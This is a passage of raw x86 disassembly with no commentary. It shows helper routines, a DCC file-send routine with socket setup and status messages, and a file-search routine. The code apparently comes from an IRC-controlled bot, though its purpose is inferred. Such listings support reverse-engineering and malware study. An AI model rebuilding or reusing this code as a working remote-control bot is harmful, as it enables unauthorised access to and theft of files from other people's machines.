ecx, [esp+5Ch] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx nop call sub_5EA1BD add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx call near ptr 71AB2B66h nop mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h call near ptr 71AB951Eh nop mov edx, [esp+0ABCh+var_AA0+2] push edx nop call near ptr 71AB2B66h lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx call near ptr 71AB88D3h nop test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax nop call near ptr 2850000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx call sub_5EA1BD nop add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi nop call near ptr 2840C46h lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60BD push eax call sub_401DF7 add esp, 4 push eax call near ptr 71AB2BF4h nop push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A20 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60A5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 call near ptr 71AB2DC0h nop test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd call near ptr 2840000h nop lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi call near ptr 2830000h nop mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp nop call near ptr 71AB615Ah cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 28207FBh lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60A5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax call near ptr 71AB9639h nop push esi nop call near ptr 2820000h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60A5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 call near ptr 2820000h nop loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447148 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443AF4 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F64 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx call sub_5EA1BD nop mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: 